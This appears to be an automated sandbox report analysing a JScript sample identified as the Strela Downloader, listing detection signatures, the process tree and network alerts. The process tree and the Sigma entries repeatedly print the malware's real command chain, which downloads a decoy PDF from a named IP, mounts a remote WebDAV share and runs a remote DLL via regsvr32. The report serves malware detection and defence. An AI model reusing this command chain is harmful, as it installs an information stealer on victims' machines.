Edit tour

Windows Analysis Report
1647911459241874440.js

Overview

General Information

Sample name:	1647911459241874440.js
Analysis ID:	1592151
MD5:	0093191d26bb386eb24bcb6c56335bad
SHA1:	81f922b94bc687c709e28400825ca4b143ef601b
SHA256:	7453ba23481aacc86986f5009f0bb2a0f8d0b5d5a7848f0f70ce6c9338f4e011
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4088 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2308 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5724 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1012 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5720 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1924 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1588,i,10440249036511766134,9373202045153823086,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5376 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5676 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1036 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4088	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5724, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5724, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ProcessId: 4088, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5676, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ProcessId: 4088, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2308, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5724, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5376, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5676, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1036, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5376, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5676, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1647911459241874440.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4088, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\32586295023593.dll, ProcessId: 2308, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:42:02.485230+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:42:05.457101+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T20:42:02.485230+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1647911459241874440.js

Virustotal: Detection: 12%

Perma Link

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Wed, 15 Jan 2025 19:42:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.6:65212 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

